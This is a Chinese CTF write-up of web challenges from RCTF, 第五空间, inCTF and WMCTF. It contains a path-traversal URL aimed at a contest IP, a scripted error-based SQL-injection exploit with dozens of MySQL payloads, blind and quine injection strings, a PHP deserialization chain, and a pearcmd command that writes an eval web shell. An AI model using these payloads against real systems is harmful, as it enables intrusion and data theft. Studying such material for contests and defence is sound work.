WMCTF&RCTF&inCTF&第五空间 web WP
RCTF
easyphp
需要绕过的限制
-
nginx配置/admin需要127.0.0.1访问
-
绕过 ‘/*’ 路由下对登录授权的检查
-
绕过isdanger函数对参数中../的过滤
解题思路:
审计源码index.php中 '/*'
路由下对登录授权的检查
$app->route('/*', function () {
global $app;
$request = $app->request();
$app->render("head", [], "head_content");
var_dump($_GET);
if (stristr($request->url, "login") !== FALSE) {
return true;
} else {
if ($_SESSION["user"]) {
return true;
}
$app->redirect("/login");
}
});
发现 $request->url
中含有login就不会检查登录授权转状态
跟踪 $request->url
到Request.php中
<?php
// ...
public function __construct($config = array())
{
// Default properties
if (empty($config)) {
$config = array(
'url' => str_replace('@', '%40', self::getVar(
'REQUEST_URI',
'/'
)),
'base' => str_replace(
array('\\', ' '),
array('/', '%20'),
dirname(self::getVar('SCRIPT_NAME'))
),
// ...
);
}
$this->init($config);
}
// ...
public function init($properties = array())
{
// Set all the defined properties
foreach ($properties as $name => $value) {
$this->$name = $value;
}
if ($this->base != '/' && strlen($this->base) > 0 && strpos(
$this->url,
$this->base
) === 0) {
$this->url = substr($this->url, strlen($this->base));
}
// Default url
if (empty($this->url)) {
$this->url = '/';
}
// Merge URL query parameters with $_GET
else {
$_GET += self::parseQuery($this->url);
$this->query->setData($_GET);
}
// ...
}
// ...
public static function getVar($var, $default = '')
{
return isset($_SERVER[$var]) ? $_SERVER[$var] : $default;
}
// ...
发现 $request->url= substr($_SERVER[REQUEST_URI], strlen(dirname($_SERVER[SCRIPT_NAME])))
,并且注意到上⾯代码段22-30⾏他会去尝试解析 $request->url
中的get参数,并添加到 $_GET
中本地搭环境测试了很久,发现访问/login/admin%3flogin?data=../
时,nginx传给php的部分变量如下
$_SERVER[REQUEST_URI]='/login/admin?login'
$_SERVER[SCRIPT_NAME]='/login/admin?login'
$_GET=array("data"=>"../")
经过Request.php处理后
$request->url='/admin?login'
$_GET= array('data'=>'../','login'=>'')
于是同时绕过了限制1和2
然后本地测试了⼀下在isdanger
⾥输出 $_GET
,只有data没有login,说明filter在解析 $request->url
中的get参数之前,故同样的⽅式将data参数也编码到⽂件路径⾥⽽⾮?后⾯的参
数⾥即可。
最终的payload:
http://124.71.132.232:60080/login/admin%3flogin&data=..%252f..%252f..%252fflag
xss it
css injection
ezsqli
mysql 8.0.21 order by injection
WEB
ns_shaft_sql
源码审计
<?php
error_reporting(0);
session_start();
include_once "config.php";
include_once "flag.php";
function init_status() {
if (!isset($_SESSION['floor'])) {
$_SESSION['floor'] = 1;
}
if (!isset($_SESSION['disabled_functions'])) {
$_SESSION['disabled_functions'] = array();
}
if (!isset($_SESSION['k'])) {
$_SESSION['k'] = random_str(8);
}
}
function reset_status() {
$_SESSION['floor'] = 1;
$_SESSION['disabled_functions'] = array();
$_SESSION['k'] = random_str(8);
}
function random_str($length=0) {
$ss = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
if ($length == 0) {
$length = mt_rand(10, 20);
}
$res = "";
for($i=0; $i<$length; $i++) {
$res .= $ss[mt_rand(0, 61)];
}
return $res;
}
function random_str2() {
$ss = "0123456789";
$length = mt_rand(10, 17);
$res = "";
$res .= $ss[mt_rand(1, 9)];
for($i=0; $i<$length; $i++) {
$res .= $ss[mt_rand(0, 9)];
}
return $res;
}
function extract_function($query) {
global $mysql_functions;
$allowed_functions = array("concat", "unhex");
$funcs = array();
$query_arr = preg_split("/[^a-zA-Z0-9_]/", strtolower($query));
foreach($mysql_functions as $func) {
$func = strtolower($func);
if(!in_array($func, $allowed_functions) && in_array($func, $query_arr)) {
array_push($funcs, $func);
}
}
return $funcs;
}
init_status();
$max_floor = 0x2e;
if ($_SESSION['floor'] > $max_floor) {
printf("Congratulations! and flag is %s\n<br>\n", $flag);
exit(0);
}
if (isset($_GET['reset'])) {
reset_status();
printf("Reset successfully!");
exit(0);
}
printf("You are on floor %d.\n<br>\n", $_SESSION['floor']);
printf("Your key is %s\n<br>\n", $_SESSION['k']);
printf("Disabled Functions: %s\n<br>\n", implode(", ", $_SESSION['disabled_functions']));
if (!isset($_REQUEST['sql'])) {
highlight_file(__FILE__);
exit(0);
}
$query = base64_decode($_REQUEST['sql']);
if (empty($query) || strlen($query) > 0x100 || !ctype_print($query)) {
die("Die");
}
$disabled_functions = $_SESSION['disabled_functions'];
foreach ($disabled_functions as $func) {
if (stripos($query, $func) !== false) {
die("Die");
}
}
$conn = new mysqli($db_host, $db_user, $db_password, $db_name);
$mysqli = new mysqli($db_host, $db_user2, $db_password2, $db_name);
$k = $_SESSION['k'];
$v = random_str2();
if (!$conn->query("DELETE FROM `s` WHERE k='$k';")) {
die("Die");
}
if (!$conn->query("INSERT INTO `s` (`k`, `v`) values ('$k', '$v');")) {
die("Die");
}
if ($mysqli->query($query) === false) {
$err_msg = mysqli_error($mysqli);
if (!empty($err_msg) && (strpos($err_msg, $v) !== false)) {
$funcs = extract_function($query);
if (empty($funcs)) {
die("Die");
}
foreach($funcs as $func) {
if (in_array($func, $disabled_functions)) {
die("Die");
}
}
$_SESSION['floor'] += 1;
$_SESSION['disabled_functions'] = array_merge($_SESSION['disabled_functions'], $funcs);
if ($_SESSION['floor'] > $max_floor) {
printf("Congratulations! and flag is %s\n<br>\n", $flag);
} else {
printf("Success! You are on floor %d, and your key is %s.\n<br>\n", $_SESSION['floor'], $_SESSION['k']);
printf("Disabled Functions: %s\n<br>\n", implode(", ", $_SESSION['disabled_functions']));
}
exit(0);
}
}
die("Die");
?>
代码看完,知道了他要我们进行0x2e次报错注入,注入语句完全可控,报错要把他每次插入s表中的 $_session['k']
对应的随机数v给显示出来,并且除了unhex和concat,其它mysql函数只能用一次,用完就会加入黑名单。
我的解法
不过他这里禁用函数是在php里检查输入字符串实现的,我就想我能不能给updatexml创建一堆别名试试?查资料发现mysql可以自定义函数,create function貌似有戏。
但是比赛的时候也不知道当时怎么回事,可能做题做晕了,效率极低,写create function语句的时候总是出错,折腾了很久,而且发现如果自定义函数的话,没有mysql原生函数会导致最后这一大个if都进不去直接到最后的die了,就卡在这里了,最后也没有搞成功。
赛后复现看到n1的WP恍然大悟,直接随便写个mysql的函数在注释里就可以成功的,POC如下
create function my(a int,b varchar(64)) returns varchar(64) return extractvalue(a,b);
select my(1,concat(0x1,(select v from s where `k`="Co0FzXbX")));#updatexml(1,1,1)
而且这样也不用一堆别名了,一个就行2333
EXP如下:
import requests
import base64
sqlfunclist=["ABS","SQRT","MOD","CEIL","CEILING","FLOOR","RAND","ROUND","SIGN","POW","POWER","SIN","ASIN","COS","ACOS","TAN","ATAN","COT","LENGTH","CONCAT","INSERT","LOWER","UPPER","LEFT","RIGHT","TRIM","REPLACE","SUBSTRING","REVERSE","CURDATE","CURRENT_DATE","CURTIME","CURRENT_TIME","NOW","SYSDATE","UNIX_TIMESTAMP","FROM_UNIXTIME","MONTH","MONTHNAME","DAYNAME","DAYOFWEEK","WEEK","DAYOFYEAR","DAYOFMONTH","YEAR","TIME_TO_SEC","SEC_TO_TIME","DATE_ADD","ADDDATE","DATE_SUB","SUBDATE","ADDTIME","SUBTIME","DATEDIFF","DATE_FORMAT","WEEKDAY","MAX","MIN","COUNT","SUM","AVG","IF","IFNULL","CASE"]
url="http://localhost:5000/?sql="
my_function="my"
res=requests.get(url+base64.b64encode(f"create function {my_function}(a int,b varchar(64)) returns varchar(64) return extractvalue(a,b);".encode()).decode())
cookie=res.cookies
k=res.text[res.text.find("Your key is ")+12:][:8]
print(k)
for each in sqlfunclist:
res=requests.get(url+base64.b64encode(f"select {my_function}(1,concat(0x1,(select v from s where `k`='{k}')));#{each}".encode()).decode(),cookies=cookie)
if "rctf" in res.text.lower():
break
print(res.text)
NU1L的解法
MariaDB [web_test]> set @@sql_mode:=(select concat(0x22,v) from s where `k`='Co0FzXbX');
ERROR 1231 (42000): Variable 'sql_mode' can't be set to the value of '"26446897500723097'
因为可以写任意语句,所以可以不是select呀,2333,出题人没想到吧
ROIS官方解法
这题质量是真的高,ROIS的题目是真的良心啊。。。因为我想着估计正解就是真有0x2e种不同的函数的报错注入方法,而且是在高版本php下。但是我去网上找,翻来覆去只有常见的extravalue、exp、floor、updatexml这些。。。感谢ROIS给我们这些小白的无偿报错注入姿势教学,收藏了:
payloads = [
f"select bin_to_uuid((select v from s where k='{key}'));",
f"select extractvalue(1,concat(0x7e,(select v from s where k='{key}')));",
f"select updatexml(1,concat(0x7e,(select v from s where k='{key}')),1);",
f"select ST_ASBINARY(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_ASGEOJSON(unhex('0000000001010000000000000000000000000000000000F03F'), 2, (select v from s where k='{key}'));",
f"select ST_ASTEXT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select ST_ASWKB(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_ASWKT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select st_geomcollfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomcollfromtxt('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_GeomCollFromWKB('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_GEOMFROMGEOJSON('', (select v from s where k='{key}'));",
f"select st_geomfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT st_latfromgeohash((select concat('a',v) from s where k='{key}'));",
f"select st_linefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_LONGFROMGEOHASH((select concat('-',(select v from s where k='{key}'))));",
f"select st_mlinefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mlinefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_POINTFROMGEOHASH((select concat('a',v) from s where k='{key}'), 0);",
f"select st_pointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_pointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select uuid_to_bin((select v from s where k='{key}'));",
f"select v from s where k='{key}' and gtid_subset(v,'a');",
f"select(gtid_subtract((select(v)from(s)where(k)='{key}'),'A'));",
]
VerySafe
这道题就不复现了,仅记录知识点
利用思路:CaddyServer<=2.4.2+php-fpm的目录穿越漏洞结合pearcmd.php命令执行
pearcmd.php和peclcmd.php
一般php在/usr/local/lib/php下会有这两个文件,并且这个目录一般是在include_path中的
这pearcmd.php中有这么一行:if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv']))
,peclcmd.php仅仅是定义了个PEAR_RUNTYPE
之后,直接调用了pearcmd.php
pearcmd.php和peclcmd.php可以实现从远处下载脚本到指定目录
还可以写配置文件到指定目录
root@2ae04561f787:/usr/local/lib/php# php pearcmd.php config-create "/<?=eval($_GET[1]);?>" /tmp/poc.php
Configuration (channel pear.php.net):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /<?=eval([1]);?>/pear
PEAR documentation directory doc_dir /<?=eval([1]);?>/pear/docs
PHP extension directory ext_dir /<?=eval([1]);?>/pear/ext
PEAR directory php_dir /<?=eval([1]);?>/pear/php
PEAR Installer cache directory cache_dir /<?=eval([1]);?>/pear/cache
PEAR configuration file cfg_dir /<?=eval([1]);?>/pear/cfg
directory
PEAR data directory data_dir /<?=eval([1]);?>/pear/data
PEAR Installer download download_dir /<?=eval([1]);?>/pear/download
directory
Systems manpage files man_dir /<?=eval([1]);?>/pear/man
directory
PEAR metadata directory metadata_dir <not set>
PHP CLI/CGI binary php_bin <not set>
php.ini location php_ini <not set>
--program-prefix passed to php_prefix <not set>
PHP's ./configure
--program-suffix passed to php_suffix <not set>
PHP's ./configure
PEAR Installer temp directory temp_dir /<?=eval([1]);?>/pear/temp
PEAR test directory test_dir /<?=eval([1]);?>/pear/tests
PEAR www files directory www_dir /<?=eval([1]);?>/pear/www
Cache TimeToLive cache_ttl <not set>
Preferred Package State preferred_state <not set>
Unix file mask umask <not set>
Debug Log Level verbose <not set>
PEAR password (for password <not set>
maintainers)
Signature Handling Program sig_bin <not set>
Signature Key Directory sig_keydir <not set>
Signature Key Id sig_keyid <not set>
Package Signature Type sig_type <not set>
PEAR username (for username <not set>
maintainers)
User Configuration File Filename /tmp/poc.php
System Configuration File Filename #no#system#config#
Successfully created default configuration file "/tmp/poc.php"
root@2ae04561f787:/usr/local/lib/php# cat /tmp/poc.php
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:25:"/<?=eval([1]);?>/pear/php";s:8:"data_dir";s:26:"/<?=eval([1]);?>/pear/data";s:7:"www_dir";s:25:"/<?=eval([1]);?>/pear/www";s:7:"cfg_dir";s:25:"/<?=eval([1]);?>/pear/cfg";s:7:"ext_dir";s:25:"/<?=eval([1]);?>/pear/ext";s:7:"doc_dir";s:26:"/<?=eval([1]);?>/pear/docs";s:8:"test_dir";s:27:"/<?=eval([1]);?>/pear/tests";s:9:"cache_dir";s:27:"/<?=eval([1]);?>/pear/cache";s:12:"download_dir";s:30:"/<?=eval([1]);?>/pear/download";s:8:"temp_dir";s:26:"/<?=eval([1]);?>/pear/temp";s:7:"bin_dir";s:21:"/<?=eval([1]);?>/pear";s:7:"man_dir";s:25:"/<?=eval([1]);?>/pear/man";}root@2ae04561f787:/usr/local/lib/php#
如果php开了register_argc_argv设置项,那么get参数自动会注册为argc、argv。
inCTF
Vuln Drive
/return-files?f=/proc/self/cwd/app.py获得源码发现/dev_test,
/dev_test页面输入http://127.0.0.1发现内网php站源码,part1=%27绕过not this way的检查,part2参数构造sqli盲注
snakeholessecret
XSLeak
WMCTF
ez piwigo
number
unicode python
Make PHP Great Again And Again
php-fpm
granddad’s guestbook
csti
scientific_adfree_networking
第五空间
yet_another_mysql_injection
F12告诉我们/?source看源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
echo $sql;
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
print_r($row);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
过滤很不严格,有两种思路
1.Quine
2.盲注出密码
盲注
基于时间盲注,过滤了sleep,可以用benchmark替代,过滤了and,但是没有过滤or和not。
测试payload如下
username=admin&password='%09or%09not(ascii(mid((select%09version()),1,1))like%0950%09or%09benchmark(2000000,sha1('312312')))#
使用benchmark进行延时注入是可行的,比如:
后续和普通盲注一样了,但是这道题根本就么米有password。
Quine
题目需要sql查询出的password和我们输入的一样,类似之前VD的那道sql题,有两种思路:
-
information_schema.PROCESSLIST里有最近一条查询,但是这题这里不行,因为最近一条查询是完整的sql语句,而我们输入的只是其中一部分
-
Quine,Quine是一种能够输出自身的程序,各种语言的版本参看[wikipedia](Quine (computing) – Wikipedia (iwiki.eu.org)),更多有关sql可以参看[stackoverflow](quine (self-producing) SQL query – Stack Overflow),还可以看之前我博客上VD那场比赛的WP
因为要拼接我们的数据最为password,所以先让他password查不出来,然后用union给他加上我们构造的数据作为password。
这里仅讲解使用最为广泛使用的一种mysql quine来构造本题payload。
原本的Quine大概是这样的:
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
这个Quine其生成过程很简单,一共三步
原始语句:
SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine
第一步,将原始语句中的双引号改成单引号,得到
SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine
第二步,使用原始语句替换替换上一步中的\$,得到
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
其中CHAR(34)=',CHAR(39)=",char(36)=$
所以这里要让他select出来字段名为password,所以把AS quine改成 AS password
然后要绕过过滤’$’,随便用别的字符换一下,比如!,对应char(36)改为char(33)
最后加上我们拼接sql语句要用的’ union,因为我们构造的这个Quine中字符串是单引号闭合的,并且在第一部会把字符串中单引号改成双引号,所以字符串中的select 前面加上的是" union。
最终测试一下:
没有问题,开头加上’ union将空格换成别的比如%0a或者%09之类的即可。
my payload:
'%09union%09SELECT%09REPLACE(REPLACE('"%09union%09SELECT%09REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!")%09AS%09password#',CHAR(34),CHAR(39)),CHAR(33),'"%09union%09SELECT%09REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!")%09AS%09password#')%09AS%09password#
processlist
打脸,其实这个也是可以的,使用right()控制输出的就是咱输入的就行233
pklovecloud
审计源码
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
pop链很简单,主要就是要让file_get_contents
里的 $file='flag.php'
echo 可以掉起toString函数,所以最外层是acp的对象,然后toString里调用了cinder的echo_name,让cinder为ace的对象就行。主要要解决的是if($this->openstack->neutron === $this->openstack->nova)
的判断。
openstack由docker反序列化而来,而且有nova和neutron属性,所以首先想到用acp类,但是这样就会acp嵌套ace嵌套acp,构造的时候会死循环堆溢出,其实可以构造一个aca类和acp一样,最里面用aca类,生成的payload把aca改回acp即可
其实这里没必要用acp,直接用ace就行,php可以给对象定义类定义里没有的属性。
然后要解决 $this->openstack->neutron
被赋值的问题,其实只要让nova是neutron的引用就好,neutron改了nova也会变化。
payload gen exp:
<?php
class acp{
function __construct(){
$a=new ace();
$a->filename="flag.php";
$b=new ace();
$b->neutron='123';
$b->nova=&$b->neutron;
$a->docker=serialize($b);
$this->cinder = $a;
}
}
class ace{}
$c=new acp();
echo serialize($c);
?>